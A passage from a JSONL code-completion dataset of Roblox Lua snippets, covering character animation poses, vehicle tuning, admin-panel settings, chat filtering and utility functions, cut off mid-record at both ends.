= \"FreeFall\"\nend\n\nfunction onDancing()\n\tpose = \"Dancing\"\nend\n\nfunction onFallingDown()\n\tpose = \"FallingDown\"\nend\n\nfunction onSeated()\n\tisSeated = true\n\tpose = \"Seated\"\nend\n\n\n\nfunction moveJump()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -3.14\n\tLeftShoulder.DesiredAngle = -3.14\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\nfunction moveFreeFall()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -1\n\tLeftShoulder.DesiredAngle = -1\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\nfunction moveFloat()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -1.57\n\tLeftShoulder.DesiredAngle = 1.57\n\tRightHip.DesiredAngle = 1.57\n\tLeftHip.DesiredAngle = -1.57\nend\n\nfunction moveBoogy()\nwhile pose==\"Boogy\" do\n\twait(.5)\n\tRightShoulder.MaxVelocity = 1\n\tLeftShoulder.MaxVelocity = 1\n\tRightShoulder.DesiredAngle = -3.14\n\tLeftShoulder.DesiredAngle = 0\n\tRightHip.DesiredAngle = 1.57\n\tLeftHip.DesiredAngle = 0\n\twait(.5)\n\tRightShoulder.MaxVelocity = 1\n\tLeftShoulder.MaxVelocity = 1\n\tRightShoulder.DesiredAngle = 0\n\tLeftShoulder.DesiredAngle = -3.14\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 1.57\nend\nend\n\nfunction moveZombie()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -1.57\n\tLeftShoulder.DesiredAngle = 1.57\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\nfunction movePunch()\n\tscript.Parent.Torso.Anchored=true\n\tRightShoulder.MaxVelocity = 60\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -1.57\n\tLeftShoulder.DesiredAngle = 0\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nwait(1)\nscript.Parent.Torso.Anchored=false\npose=\"Standing\"\n\nend\n\nfunction moveKick()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = 0\n\tLeftShoulder.DesiredAngle = 0\n\tRightHip.MaxVelocity = 40\n\tRightHip.DesiredAngle = 1.57\n\tLeftHip.DesiredAngle = 0\nwait(1)\npose=\"Standing\"\n\nend\n\nfunction moveFly()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = 0\n\tLeftShoulder.DesiredAngle = 0\n\tRightHip.MaxVelocity = 40\n\tRightHip.DesiredAngle = 1.57\n\tLeftHip.DesiredAngle = 0\nwait(1)\npose=\"Standing\"\n\nend\n\n\nfunction moveClimb()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -3.14\n\tLeftShoulder.DesiredAngle = 3.14\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\nfunction moveSit()\n\tRightShoulder.MaxVelocity = 0.15\n\tLeftShoulder.MaxVelocity = 0.15\n\tRightShoulder.DesiredAngle = -3.14 /2\n\tLeftShoulder.DesiredAngle = -3.14 /2\n\tRightHip.DesiredAngle = 3.14 /2\n\tLeftHip.DesiredAngle = -3.14 /2\nend\n\nfunction getTool()\n\t\n\tkidTable = Figure:children()\n\tif (kidTable ~= nil) then\n\t\tnumKids = #kidTable\n\t\tfor i=1,numKids do\n\t\t\tif (kidTable[i].className == \"Tool\") then return kidTable[i] end\n\t\tend\n\tend\n\t\n\treturn nil\nend\n\nfunction getToolAnim(tool)\n\n\tc = tool:children()\n\tfor i=1,#c do\n\t\tif (c[i].Name == \"toolanim\" and c[i].className == \"StringValue\") then\n\t\t\treturn c[i]\n\t\tend\n\tend\n\treturn nil\nend\n\nfunction animateTool()\n\t\n\tif (toolAnim == \"None\") then\n\t\tRightShoulder.DesiredAngle = -1.57\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Slash\") then\n\t\tRightShoulder.MaxVelocity = 0.5\n\t\tRightShoulder.DesiredAngle = 0\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Lunge\") then\n\t\tRightShoulder.MaxVelocity = 0.5\n\t\tLeftShoulder.MaxVelocity = 0.5\n\t\tRightHip.MaxVelocity = 0.5\n\t\tLeftHip.MaxVelocity = 0.5\n\t\tRightShoulder.DesiredAngle = -1.57\n\t\tLeftShoulder.DesiredAngle = 1.0\n\t\tRightHip.DesiredAngle = 1.57\n\t\tLeftHip.DesiredAngle = 1.0\n\t\treturn\n\tend\nend\n\nfunction move(time)\n\tlocal amplitude\n\tlocal frequency\n\n\tif (pose == \"Jumping\") then\n\t\tmoveJump()\n\t\treturn\n\tend\n\n\tif (pose == \"Zombie\") then\n\t\tmoveZombie()\n\t\treturn\n\tend\n\n\tif (pose == \"Boogy\") then\n\t\tmoveBoogy()\n\t\treturn\n\tend\n\n\tif (pose == \"Float\") then\n\t\tmoveFloat()\n\t\treturn\n\tend\n\n\tif (pose == \"Punch\") then\n\t\tmovePunch()\n\t\treturn\n\tend\n\n\tif (pose == \"Kick\") then\n\t\tmoveKick()\n\t\treturn\n\tend\n\n\tif (pose == \"Fly\") then\n\t\tmoveFly()\n\t\treturn\n\tend\n\n\tif (pose == \"FreeFall\") then\n\t\tmoveFreeFall()\n\t\treturn\n\tend\n\n\tif (pose == \"Climbing\") then\n\t\tmoveClimb()\n\t\treturn\n\tend\n\n\tif (pose == \"Seated\") then\n\t\tmoveSit()\n\t\treturn\n\tend\n\n\t\tamplitude = 0.1\n\t\tfrequency = 1\n\n\tRightShoulder.MaxVelocity = 0.15\n\tLeftShoulder.MaxVelocity = 0.15\n\tif (pose == \"Running\") then\n\t\tamplitude = 1\n\t\tfrequency = 9\n\telseif (pose == \"Dancing\") then\n\t\tamplitude = 2\n\t\tfrequency = 16\n\tend\n\n\n\tdesiredAngle = amplitude * math.sin(time*frequency)\n\tif pose~=\"Dancing\" then\n\t\tRightShoulder.DesiredAngle = desiredAngle\n\t\tLeftShoulder.DesiredAngle = desiredAngle\n\t\tRightHip.DesiredAngle = -desiredAngle\n\t\tLeftHip.DesiredAngle = -desiredAngle\n\telse\n\t\tRightShoulder.DesiredAngle = desiredAngle\n\t\tLeftShoulder.DesiredAngle = desiredAngle\n\t\tRightHip.DesiredAngle = -desiredAngle\n\t\tLeftHip.DesiredAngle = -desiredAngle\n\tend\n\t\t\n\n\n\tlocal tool = getTool()\n\n\tif tool ~= nil then\n\t\n\t\tanimStringValueObject = getToolAnim(tool)\n\n\t\tif animStringValueObject ~= nil then\n\t\t\ttoolAnim = animStringValueObject.Value\n\t\t\t-- message recieved, delete StringValue\n\t\t\tanimStringValueObject.Parent = nil\n\t\t\ttoolAnimTime = time + .3\n\t\tend\n\n\t\tif time > toolAnimTime then\n\t\t\ttoolAnimTime = 0\n\t\t\ttoolAnim = \"None\"\n\t\tend\n\n\t\tanimateTool()\n\n\t\t\n\telse\n\t\ttoolAnim = \"None\"\n\t\ttoolAnimTime = 0\n\tend\nend\n\n"} +{"prompt": "-- The graph contains a directed acyclic graph of edges:\n-- horizontal: delete an item from a\n-- vertical: insert an item from b\n-- diagonal: common item in a and b\n--\n-- The algorithm solves dual problems in the graph analogy:\n-- Find longest common subsequence: path with maximum number of diagonal edges\n-- Find shortest edit script: path with minimum number of non-diagonal edges", "completion": "\n"} +{"prompt": "-- Time it takes to reload weapon", "completion": "\nlocal ReloadTime = 2"} +{"prompt": "-- Holding Services", "completion": "\nrs = game:GetService(\"ReplicatedStorage\")\n\n\n"} +{"prompt": "---------------------------\n--Seat Offset (Make copies of this block for passenger seats)", "completion": "\n\ncar.DriveSeat.ChildAdded:connect(function(child)\n\tif child.Name==\"SeatWeld\" and child:IsA(\"Weld\") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then\n\t\tchild.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)\n\tend\nend)\n\n\n\n\n\n"} +{"prompt": "-- ClientComm\n-- Stephen Leitnick\n-- December 20, 2021", "completion": "\n\nlocal Comm = require(script.Parent)\nlocal Util = require(script.Parent.Parent.Util)\nlocal Types = require(script.Parent.Parent.Types)\n"} +{"prompt": "-- Adds a metatable to a table and all its descending tables", "completion": "\n\nlocal fullmeta;fullmeta = function(t, meta)\n\tsetmetatable(t, meta)\n\tfor index, other in next, t do\n\t\tif type(other) == 'table' then\n\t\t\tfullmeta(other, meta)\n\t\tend\n\tend\n\t\n\treturn t\nend\n\nreturn fullmeta\n"} +{"prompt": "-- placed these in here cause yolo", "completion": "\nwait(0.1)\n\n\nship = script.Parent\n\nr = math.random(1,4)\nif r == 1 then\n\tscript.Rocky.angularvelocity = Vector3.new(0.1,0,0)\t\nelseif r == 2 then\n\tscript.Rocky.angularvelocity = Vector3.new(-0.1,0,0)\t\nelseif r == 3 then\n\tscript.Rocky.angularvelocity = Vector3.new(0,0,0.1)\t\nelseif r == 4 then\n\tscript.Rocky.angularvelocity = Vector3.new(0,0,-0.1)\nend\nscript.Rocky:clone().Parent = ship.Engine\nship.Engine.BodyGyro.maxTorque = Vector3.new(0,math.huge,0)\nwait(2)\nship.Engine.BodyGyro.maxTorque = Vector3.new(math.huge,math.huge,math.huge)\nship.Engine.Rocky:Destroy()\nwait(1)\nscript:Destroy()\n"} +{"prompt": "--[[\n\tCam Hook\n\tAllows for clicking and viewing a part\n\tPhoenix\n]]", "completion": "\n\nlocal Remote = game:GetService(\"ReplicatedStorage\").Game.Events.Game.CameraListener\n\nreturn function(Environment, ID, Settings)\n\tscript = Environment\n\t\n\tlocal Settings = require(Settings)\n\tlocal Players = {}\n\t\n\tscript.Parent.MouseClick:Connect(function(Player)\n\t\tif Player.Character ~= nil then\n\t\t\tif Player.Character.Humanoid.WalkSpeed > 0 and Player.Character.Humanoid.Health > 0 then\n\t\t\t\tPlayers[Player.Name] = Player\n\t\t\t\tRemote:FireClient(Player, ID, Settings)\n\t\t\tend\n\t\tend\n\tend)\n\t\n\tRemote.OnServerEvent:Connect(function(Player, ToID, Command)\n\t\tif ToID == ID then\n\t\t\tif Players[Player.Name] ~= nil then\n\t\t\t\tif Command == \"Finish\" then\n\t\t\t\t\tPlayers[Player.Name] = nil\n\t\t\t\t\tPlayer.Character:WaitForChild(\"HumanoidRootPart\").Anchored = false\n\t\t\t\telseif Command == \"Freeze\" then\n\t\t\t\t\tPlayer.Character:WaitForChild(\"HumanoidRootPart\").Anchored = true\n\t\t\t\telseif Command == \"Resume\" then\n\t\t\t\t\tPlayer.Character:WaitForChild(\"HumanoidRootPart\").Anchored = false\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend)\nend;\n"} +{"prompt": "--///////////////// Internal-Use Methods\n--//////////////////////////////////////\n--DO NOT REMOVE THIS. Chat must be filtered or your game will face\n--moderation.", "completion": "\nfunction methods:InternalApplyRobloxFilter(speakerName, message, toSpeakerName) --// USES FFLAG\n\tif _SETTINGS.DisableSafeChat == true then\n\t\treturn message\n\telse\n\t\tif (RunService:IsServer() and not RunService:IsStudio()) then\n\t\t\tlocal fromSpeaker = self:GetSpeaker(speakerName)\n\t\t\tlocal toSpeaker = toSpeakerName and self:GetSpeaker(toSpeakerName)\n\t\n\t\t\tif fromSpeaker == nil then\n\t\t\t\treturn nil\n\t\t\tend\n\t\n\t\t\tlocal fromPlayerObj = fromSpeaker:GetPlayer()\n\t\t\tlocal toPlayerObj = toSpeaker and toSpeaker:GetPlayer()\n\t\n\t\t\tif fromPlayerObj == nil then\n\t\t\t\treturn message\n\t\t\tend\n\t\n\t\t\tlocal filterStartTime = tick()\n\t\t\tlocal filterRetries = 0\n\t\t\twhile true do\n\t\t\t\tlocal success, message = pcall(function()\n\t\t\t\t\tif toPlayerObj then\n\t\t\t\t\t\treturn Chat:FilterStringAsync(message, fromPlayerObj, toPlayerObj)\n\t\t\t\t\telse\n\t\t\t\t\t\treturn Chat:FilterStringForBroadcast(message, fromPlayerObj)\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\t\tif success then\n\t\t\t\t\treturn message\n\t\t\t\telse\n\t\t\t\t\twarn(\"Error filtering message:\", message)\n\t\t\t\tend\n\t\t\t\tfilterRetries = filterRetries + 1\n\t\t\t\tif filterRetries > MAX_FILTER_RETRIES or (tick() - filterStartTime) > MAX_FILTER_DURATION then\n\t\t\t\t\tself:InternalNotifyFilterIssue()\n\t\t\t\t\treturn nil\n\t\t\t\tend\n\t\t\t\tlocal backoffInterval = FILTER_BACKOFF_INTERVALS[math.min(#FILTER_BACKOFF_INTERVALS, filterRetries)]\n\t\t\t\t-- backoffWait = backoffInterval +/- (0 -> backoffInterval)\n\t\t\t\tlocal backoffWait = backoffInterval + ((math.random()*2 - 1) * backoffInterval)\n\t\t\t\twait(backoffWait)\n\t\t\tend\n\t\telse\n\t\t\t--// Simulate filtering latency.\n\t\t\t--// There is only latency the first time the message is filtered, all following calls will be instant.\n\t\t\tif not StudioMessageFilteredCache[message] then\n\t\t\t\tStudioMessageFilteredCache[message] = true\n\t\t\t\twait()\n\t\t\tend\n\t\t\treturn message\n\t\tend\n\tend\n\treturn nil\nend\n"} +{"prompt": "--[[Drivetrain]]", "completion": "\t\n\tTune.Config\t\t\t= \"AWD\"\t\t--\"FWD\" , \"RWD\" , \"AWD\"\n\t\n\t--Differential Settings\t\n\tTune.FDiffSlipThres\t= 50\t\t-- 1 - 100%\t\t\t\t(Max threshold of applying full lock determined by deviation from avg speed)\n\tTune.FDiffLockThres\t= 50\t\t-- 0 - 100%\t\t\t\t(0 - Bias toward slower wheel, 100 - Bias toward faster wheel)\n\tTune.RDiffSlipThres\t= 50\t\t-- 1 - 100%\n\tTune.RDiffLockThres\t= 50\t\t-- 0 - 100%\n\tTune.CDiffSlipThres\t= 100\t\t-- 1 - 100%\t\t\t\t[AWD Only]\n\tTune.CDiffLockThres\t= 100\t\t-- 0 - 100%\t\t\t\t[AWD Only]\n\t\n\t--Traction Control Settings\n\tTune.TCSEnabled\t\t= false\t\t-- Implements TCS\n\tTune.TCSThreshold\t= 20\t\t-- Slip speed allowed before TCS starts working (in SPS)\n\tTune.TCSGradient\t= 20\t\t-- Slip speed gradient between 0 to max reduction (in SPS)\n\tTune.TCSLimit\t\t= 10\t\t-- Minimum amount of torque at max reduction (in percent)\n\t"} +{"prompt": "-- services", "completion": "\nlocal HttpService = game:GetService(\"HttpService\")\n"} +{"prompt": "--changing transparency", "completion": "\nfor index, child in pairs(character:GetChildren()) do\n\tif child:IsA(\"BasePart\") and child.Name ~= \"Head\" then\n\t\t\n\t\tchild:GetPropertyChangedSignal(\"LocalTransparencyModifier\"):Connect(function()\n\t\t\tchild.LocalTransparencyModifier = child.Transparency\n\t\tend)\n\t\n\n\tend\nend"} +{"prompt": "-- Start of barrier visualization functions", "completion": "\nlocal function getPositionFromVertexList(vertexList)\n\treturn ((vertexList[4] + vertexList[1]) / 2) + ((vertexList[2] - vertexList[1]) / 2)\nend\n"} +{"prompt": "-- Max angle the wheels will reach when turning\n-- Higher number means sharper turning, but too high means the wheels might hit the car base", "completion": "\nlocal MAX_TURN_ANGLE = 30\n"} +{"prompt": "-- / Configuration / --", "completion": "\nlocal Configuration = script.Configuration\n"} +{"prompt": "-- MUSIC/SOUNDS", "completion": "\nAmbienceSoundEnabled = true\nMusicLobbyEnabled = true\nGuidingLightMusicEnabled = true\nEndingMusicEnabled = true\nElevatorJamMusicEnabled = true\nUnhingedMusicEnabled = true\n"} +{"prompt": "-- Implements Javascript's `Array.prototype.map` as defined below\n-- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/some", "completion": "\nreturn function(t: Array, callback: callbackFn | callbackFnWithThisArg, thisArg: U?): boolean\n\tif typeof(t) ~= \"table\" then\n\t\terror(string.format(\"Array.some called on %s\", typeof(t)))\n\tend\n\tif typeof(callback) ~= \"function\" then\n\t\terror(\"callback is not a function\")\n\tend\n\n\tfor i, value in t do\n\t\tif thisArg ~= nil then\n\t\t\tif value ~= nil and (callback :: callbackFnWithThisArg)(thisArg, value, i, t) then\n\t\t\t\treturn true\n\t\t\tend\n\t\telse\n\t\t\tif value ~= nil and (callback :: callbackFn)(value, i, t) then\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\tend\n\treturn false\nend\n"} +{"prompt": "------------------------------------------------", "completion": "\n\nlocal function Panned(input, processed)\n\tif not processed and input.UserInputType == Enum.UserInputType.MouseMovement then\n\t\tlocal delta = input.Delta\n\t\tpanDeltaMouse = Vector2.new(-delta.y, -delta.x)\n\tend\nend\n"} +{"prompt": "--------------| SYSTEM SETTINGS |--------------", "completion": "\nPrefix\t\t\t\t= \";\";\t\t\t-- The character you use before every command (e.g. ';jump me').\nSplitKey \t\t\t= \" \";\t\t\t-- The character inbetween command arguments (e.g. setting it to '/' would change ';jump me' to ';jump/me').\nBatchKey \t\t\t= \"\";\t\t\t-- The character inbetween batch commands (e.g. setting it to '|' would change ';jump me ;fire me ;smoke me' to ';jump me | ;fire me | ;smoke me'\nQualifierBatchKey \t= \",\";\t\t\t-- The character used to split up qualifiers (e.g. ;jump player1,player2,player3)\n\nTheme\t\t\t\t= \"Blue\";\t\t-- The default UI theme.\nNoticeSoundId\t\t= 2865227271;\t-- The SoundId for notices.\nNoticeVolume\t\t= 0.1;\t\t\t-- The Volume for notices.\nNoticePitch\t\t\t= 1;\t\t\t-- The Pitch/PlaybackSpeed for notices.\nErrorSoundId\t\t= 2865228021;\t-- The SoundId for error notifications.\nErrorVolume\t\t\t= 0.1;\t\t\t-- The Volume for error notifications.\nErrorPitch\t\t\t= 1;\t\t\t-- The Pitch/PlaybackSpeed for error notifications.\nAlertSoundId\t\t= 3140355872;\t-- The SoundId for alerts.\nAlertVolume\t\t\t= 0.5;\t\t\t-- The Volume for alerts.\nAlertPitch\t\t\t= 1;\t\t\t-- The Pitch/PlaybackSpeed for alerts.\n\nWelcomeBadgeId\t\t= 0;\t\t\t-- Award new players a badge, such as 'Welcome to the game!'. Set to 0 for no badge.\n\nCommandDebounce\t\t= true;\t\t\t-- Wait until the command effect is over to use again. Helps to limit abuse & lag. Set to 'false' to disable.\nSaveRank\t\t\t= true;\t\t\t-- Saves a player's rank in the server they received it. (e.g. ;rank plrName rank). Use ';permRank plrName rank' to permanently save a rank. Set to 'false' to disable.\nLoopCommands\t\t= 3;\t\t\t-- The minimum rank required to use LoopCommands.\nMusicList \t\t\t= {505757009,};\t-- Songs which automatically appear in a user's radio. Type '!radio' to display the radio.\n\nThemeColors = {\t\t\t\t\t\t-- The colours players can set their HD Admin UI (in the 'Settings' menu). | Format: {ThemeName, ThemeColor3Value};\n\t{\"Red\", \tColor3.fromRGB(150, 0, 0),\t\t};\n\t{\"Orange\", \tColor3.fromRGB(150, 75, 0),\t\t};\n\t{\"Brown\", \tColor3.fromRGB(120, 80, 30),\t};\n\t{\"Yellow\", \tColor3.fromRGB(130, 120, 0),\t};\n\t{\"Green\", \tColor3.fromRGB(0, 120, 0),\t\t};\n\t{\"Blue\", \tColor3.fromRGB(0, 100, 150),\t};\n\t{\"Purple\", \tColor3.fromRGB(100, 0, 150),\t};\n\t{\"Pink\",\tColor3.fromRGB(150, 0, 100),\t};\n\t{\"Black\", \tColor3.fromRGB(60, 60, 60),\t\t};\n};\n\nColors = {\t\t\t\t\t\t\t-- The colours for ChatColors and command arguments. | Format: {\"ShortName\", \"FullName\", Color3Value};\n\t{\"r\", \t\t\"Red\",\t\t \t\tColor3.fromRGB(255, 0, 0)\t\t};\n\t{\"o\", \t\t\"Orange\",\t \t\tColor3.fromRGB(250, 100, 0)\t\t};\n\t{\"y\", \t\t\"Yellow\",\t\t\tColor3.fromRGB(255, 255, 0)\t\t};\n\t{\"g\", \t\t\"Green\"\t,\t\t\tColor3.fromRGB(0, 255, 0)\t\t};\n\t{\"dg\", \t\t\"DarkGreen\"\t, \t\tColor3.fromRGB(0, 125, 0)\t\t};\n\t{\"b\", \t\t\"Blue\",\t\t \t\tColor3.fromRGB(0, 255, 255)\t\t};\n\t{\"db\", \t\t\"DarkBlue\",\t\t\tColor3.fromRGB(0, 50, 255)\t\t};\n\t{\"p\", \t\t\"Purple\",\t \t\tColor3.fromRGB(150, 0, 255)\t\t};\n\t{\"pk\",\t\t\"Pink\",\t\t \t\tColor3.fromRGB(255, 85, 185)\t};\n\t{\"bk\",\t\t\"Black\",\t\t \tColor3.fromRGB(0, 0, 0)\t\t\t};\n\t{\"w\",\t\t\"White\",\t \t\tColor3.fromRGB(255, 255, 255)\t};\n};\nChatColors = {\t\t\t\t\t\t-- The colour a player's chat will appear depending on their rank. '[\"Owner\"] = \"Yellow\";' makes the owner's chat yellow.\n\t[5] \t\t= \"Yellow\";\n};\n\nCmdbar\t\t\t\t\t\t= 1;\t\t\t-- The minimum rank required to use the Cmdbar.\nCmdbar2\t\t\t\t\t\t= 3;\t\t\t-- The minimum rank required to use the Cmdbar2.\nViewBanland\t\t\t\t\t= 3;\t\t\t-- The minimum rank required to view the banland.\nOnlyShowUsableCommands\t\t= false;\t\t-- Only display commands equal to or below the user's rank on the Commands page.\nRankRequiredToViewPage\t\t= {\t\t\t\t-- || The pages on the main menu ||\n\t[\"Commands\"]\t\t= 0;\n\t[\"Admin\"]\t\t\t= 0;\n\t[\"Settings\"]\t\t= 0;\n};\nRankRequiredToViewRank\t\t= {\t\t\t\t-- || The rank categories on the 'Ranks' subPage under Admin ||\n\t[\"Owner\"]\t\t\t= 0;\n\t[\"HeadAdmin\"]\t\t= 0;\n\t[\"Admin\"]\t\t\t= 0;\n\t[\"Mod\"]\t\t\t\t= 0;\n\t[\"VIP\"]\t\t\t\t= 0;\n};\nRankRequiredToViewRankType\t= {\t\t\t\t-- || The collection of loader-rank-rewarders on the 'Ranks' subPage under Admin ||\n\t[\"Owner\"]\t\t\t= 0;\n\t[\"SpecificUsers\"]\t= 5;\n\t[\"Gamepasses\"] \t\t= 0;\n\t[\"Assets\"] \t\t\t= 0;\n\t[\"Groups\"] \t\t\t= 0;\n\t[\"Friends\"] \t\t= 0;\n\t[\"FreeAdmin\"] \t\t= 0;\n\t[\"VipServerOwner\"] \t= 0;\n};\nRankRequiredToViewIcon\t\t= 0;\n\nWelcomeRankNotice\t\t\t= true;\t\t\t-- The 'You're a [rankName]' notice that appears when you join the game. Set to false to disable.\nWelcomeDonorNotice\t\t\t= true;\t\t\t-- The 'You're a Donor' notice that appears when you join the game. Set to false to disable.\nWarnIncorrectPrefix\t\t\t= true;\t\t\t-- Warn the user if using the wrong prefix | \"Invalid prefix! Try using [correctPrefix][commandName] instead!\"\nDisableAllNotices\t\t\t= false;\t\t-- Set to true to disable all HD Admin notices.\n\nScaleLimit\t\t\t\t\t= 4;\t\t\t-- The maximum size players with a rank lower than 'IgnoreScaleLimit' can scale theirself. For example, players will be limited to ;size me 4 (if limit is 4) - any number above is blocked.\nIgnoreScaleLimit\t\t\t= 3;\t\t\t-- Any ranks equal or above this value will ignore 'ScaleLimit'\nCommandLimits\t\t\t\t= {\t\t\t\t-- Enables you to set limits for commands which have a number argument. Ranks equal to or higher than 'IgnoreLimit' will not be affected by Limit.\n\t[\"fly\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n\t[\"fly2\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n\t[\"noclip\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n\t[\"noclip2\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n\t[\"speed\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n\t[\"jumpPower\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n};\n\nVIPServerCommandBlacklist\t= {\"permRank\", \"permBan\", \"globalAnnouncement\"};\t-- Commands players are probihited from using in VIP Servers.\nGearBlacklist\t\t\t\t= {67798397};\t-- The IDs of gear items to block when using the ;gear command.\nIgnoreGearBlacklist\t\t\t= 4;\t\t\t-- The minimum rank required to ignore the gear blacklist.\n\nPlayerDataStoreVersion\t\t= \"V1.0\";\t\t-- Data about the player (i.e. permRanks, custom settings, etc). Changing the Version name will reset all PlayerData.\nSystemDataStoreVersion\t\t= \"V1.0\";\t\t-- Data about the game (i.e. the banland, universal message system, etc). Changing the Version name will reset all SystemData.\n\nCoreNotices\t\t\t\t\t= {\t\t\t\t-- Modify core notices. You can find a table of all CoreNotices under [MainModule > Client > SharedModules > CoreNotices]\n\t--NoticeName = NoticeDetails;\n};\n\n\n\n"} +{"prompt": "-- local TITLE_INDENT = ' '\n-- local MESSAGE_INDENT = ' '", "completion": "\nlocal STACK_INDENT = \" \""} +{"prompt": "--------------------------CHARACTER CONTROL-------------------------------", "completion": "\nlocal CurrentIgnoreList: {Model}\nlocal CurrentIgnoreTag = nil\n\nlocal TaggedInstanceAddedConnection: RBXScriptConnection? = nil\nlocal TaggedInstanceRemovedConnection: RBXScriptConnection? = nil\n\nlocal function GetCharacter(): Model\n\treturn Player and Player.Character\nend\n\nlocal function UpdateIgnoreTag(newIgnoreTag)\n\tif newIgnoreTag == CurrentIgnoreTag then\n\t\treturn\n\tend\n\tif TaggedInstanceAddedConnection then\n\t\tTaggedInstanceAddedConnection:Disconnect()\n\t\tTaggedInstanceAddedConnection = nil\n\tend\n\tif TaggedInstanceRemovedConnection then\n\t\tTaggedInstanceRemovedConnection:Disconnect()\n\t\tTaggedInstanceRemovedConnection = nil\n\tend\n\tCurrentIgnoreTag = newIgnoreTag\n\tCurrentIgnoreList = {GetCharacter()}\n\tif CurrentIgnoreTag ~= nil then\n\t\tlocal ignoreParts = CollectionService:GetTagged(CurrentIgnoreTag)\n\t\tfor _, ignorePart in ipairs(ignoreParts) do\n\t\t\ttable.insert(CurrentIgnoreList, ignorePart)\n\t\tend\n\t\tTaggedInstanceAddedConnection = CollectionService:GetInstanceAddedSignal(\n\t\t\tCurrentIgnoreTag):Connect(function(ignorePart)\n\t\t\ttable.insert(CurrentIgnoreList, ignorePart)\n\t\tend)\n\t\tTaggedInstanceRemovedConnection = CollectionService:GetInstanceRemovedSignal(\n\t\t\tCurrentIgnoreTag):Connect(function(ignorePart)\n\t\t\tfor i = 1, #CurrentIgnoreList do\n\t\t\t\tif CurrentIgnoreList[i] == ignorePart then\n\t\t\t\t\tCurrentIgnoreList[i] = CurrentIgnoreList[#CurrentIgnoreList]\n\t\t\t\t\ttable.remove(CurrentIgnoreList)\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\tend\nend\n\nlocal function getIgnoreList(): {Model}\n\tif CurrentIgnoreList then\n\t\treturn CurrentIgnoreList\n\tend\n\tCurrentIgnoreList = {}\n\ttable.insert(CurrentIgnoreList, GetCharacter())\n\treturn CurrentIgnoreList\nend\n\nlocal function minV(a: Vector3, b: Vector3)\n\treturn Vector3.new(math.min(a.X, b.X), math.min(a.Y, b.Y), math.min(a.Z, b.Z))\nend\nlocal function maxV(a, b)\n\treturn Vector3.new(math.max(a.X, b.X), math.max(a.Y, b.Y), math.max(a.Z, b.Z))\nend\nlocal function getCollidableExtentsSize(character: Model?)\n\tif character == nil or character.PrimaryPart == nil then return end\n\tlocal toLocalCFrame = character.PrimaryPart.CFrame:inverse()\n\tlocal min = Vector3.new(math.huge, math.huge, math.huge)\n\tlocal max = Vector3.new(-math.huge, -math.huge, -math.huge)\n\tfor _,descendant in pairs(character:GetDescendants()) do\n\t\tif descendant:IsA('BasePart') and descendant.CanCollide then\n\t\t\tlocal localCFrame = toLocalCFrame * descendant.CFrame\n\t\t\tlocal size = Vector3.new(descendant.Size.X / 2, descendant.Size.Y / 2, descendant.Size.Z / 2)\n\t\t\tlocal vertices = {\n\t\t\t\tVector3.new( size.X, size.Y, size.Z),\n\t\t\t\tVector3.new( size.X, size.Y, -size.Z),\n\t\t\t\tVector3.new( size.X, -size.Y, size.Z),\n\t\t\t\tVector3.new( size.X, -size.Y, -size.Z),\n\t\t\t\tVector3.new(-size.X, size.Y, size.Z),\n\t\t\t\tVector3.new(-size.X, size.Y, -size.Z),\n\t\t\t\tVector3.new(-size.X, -size.Y, size.Z),\n\t\t\t\tVector3.new(-size.X, -size.Y, -size.Z)\n\t\t\t}\n\t\t\tfor _,vertex in ipairs(vertices) do\n\t\t\t\tlocal v = localCFrame * vertex\n\t\t\t\tmin = minV(min, v)\n\t\t\t\tmax = maxV(max, v)\n\t\t\tend\n\t\tend\n\tend\n\tlocal r = max - min\n\tif r.X < 0 or r.Y < 0 or r.Z < 0 then return nil end\n\treturn r\nend\n"} +{"prompt": "--[[\n\tDiscord - Roblox hookup\n\tConfidentCoding\n\tDo not touch this script.\n--]]", "completion": "\n\nlocal webHook = {}\nwebHook.__index = webHook\n\nfunction webHook.new(id,key) \n\tlocal mt = setmetatable({id=id,key=key}, webHook) \n\treturn mt\nend\n\nfunction 